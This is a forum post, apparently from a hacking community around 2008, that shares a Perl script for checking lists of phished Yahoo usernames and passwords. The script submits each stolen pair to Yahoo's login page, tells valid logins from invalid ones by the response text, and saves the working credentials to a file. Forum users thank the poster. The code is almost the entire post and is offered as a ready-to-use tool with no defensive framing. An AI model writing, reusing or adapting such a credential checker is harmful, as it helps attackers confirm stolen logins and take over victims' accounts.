![]() |
|
|
|
#1 (permalink) |
|
Junior Member
![]() Join Date: Oct 2008
Posts: 3
Thanks: 0
Thanked 5 Times in 2 Posts
Rep Power: 0
![]() ![]() |
#!/usr/bin/perl
#Yahoo! LOGIN SPECS #USERNAME: 4-32 characters, Start with a letter. [Letters, Digits, Underscores and ONE dot] #PASSWORD: 6-32 characters, no spaces use HTTP::Cookies; $myCookies = HTTP::Cookies->new(); use LWP::UserAgent; my $ua = LWP::UserAgent->new; $ua->cookie_jar($myCookies); $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4'); push @{$ua->requests_redirectable}, 'POST'; sub usage{ print "[-] yahoo.pl <logins> (loginass format) <results>\n"; print "[-] yahoo.pl iPhished.txt thanks.txt\n"; die("[!] Incorrect usage\n"); } sub yahoo($$){ my $username = $_[0]; my $password = $_[1]; my $url = "https://login.yahoo.com/config/login?login=$username&passwd=$password"; my $login = $ua->get($url); die("[!] Connection error\n") unless ($login->is_success); if($login->content =~ m/<strong>Invalid ID or password.<\/strong><br> Please try again.<\/div>/){ return 0; } elsif($login->content =~ m/<body>\nIf you are seeing this page, your browser settings prevent you \nfrom automatically redirecting to a new URL./){ return 1; } elsif($login->content =~ m/Unable to/){ die("[!] Yahoo killed you!\n"); } } if(@ARGV!= 2){ &usage; } else{ my $loginlist = $ARGV[0]; my $resultlist = $ARGV[1]; open("xfile", $loginlist) || die "Couldn't open $loginlist\n"; while(my $line = <xfile>){ chomp($line); if($line =~ m/[a-z0-9_\.]\@yahoo\.com(.*?).+){6,32}$/i){ my @details = split(/:/,$line); print "[-] Checking $details[0] : $details[1]\t"; if(yahoo($details[0],$details[1])){ print "Success\n"; open(LOG,">>$resultlist") || die "Couldn't open $resultlist\n"; print LOG "$details[0]:$details[1]\n"; close(LOG); } else{ print "Failure\n"; } } } }
__________________
source : To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts. |
|
|
|
| The Following 2 Users Say Thank You to ♥♥♥ For This Useful Post: | MaDHA¢KeR™ (10-12-2008), shanavas_ks (10-13-2008) |
![]() |
| Bookmarks |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| Yahoo! Account Password Crackers | Armageddon | Graveyard | 14 | 02-12-2007 05:39 PM |